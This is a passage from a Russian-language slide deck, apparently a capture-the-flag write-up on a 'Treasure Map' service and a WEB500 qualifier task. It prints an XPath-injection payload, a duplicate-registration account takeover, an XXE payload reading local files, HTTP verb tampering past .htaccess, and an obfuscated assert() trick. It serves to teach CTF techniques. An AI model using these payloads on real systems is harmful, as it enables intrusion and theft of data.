4. Сервис «Карта Сокровищ»: Уязвимости
Отображение всех флагов в xml, предоставляющей данные
для визуализации
5. Сервис «Карта Сокровищ»: Уязвимости
Внедрение операторов XPath
treasure = treasure_xml.xpath('/treasures/treasure
[id = '%s' and owner='%s']' %
(id, request.session['user'].name))
Эксплуатация
/treasure/view/?id=<id>' or '1'='1
Username = ' or id= '<id>
6. Сервис «Карта Сокровищ»: Уязвимости
Регистрация пользователей с одинаковым логином
• При регистрации не проверялось наличие такого пользователя
• При проверке прав использовался только логин пользователя
Эксплуатация
• Смотрим имя последнего пользователя с флагом
• Регистрируемся с данными Login: <login>, Password: 1
• ???
• PROFIT!
7. Сервис «Карта Сокровищ»: Уязвимости
Внедрение внешних сущностей XML (XXE Attack)
• При добавлении флага на стороне клиента формировалась XML
• На сервере XML-парсеры поддерживали XML eXternal Entity
Эксплуатация
<!DOCTYPE x [
<!ENTITY xxe SYSTEM "file:///pathToService/Treasure.xml">
]>
<treasure><name>x</name>
<treasureData>&xxe;</treasureData>
<x>5</x><y>5</y></treasure>
10. Отборочные: Задание WEB500
Verb Tampering
.htaccess
<Limit GET>
require valid-user
</Limit>
Файлы бэкапа
Обфускация
Битовыми операциями формируются слова «chr» и цифры 0-9.
Далее формируется строка
a.s.s.e.r.t(c.o.d.e)
Где каждая буква представляет собой c.h.r(0.1.2)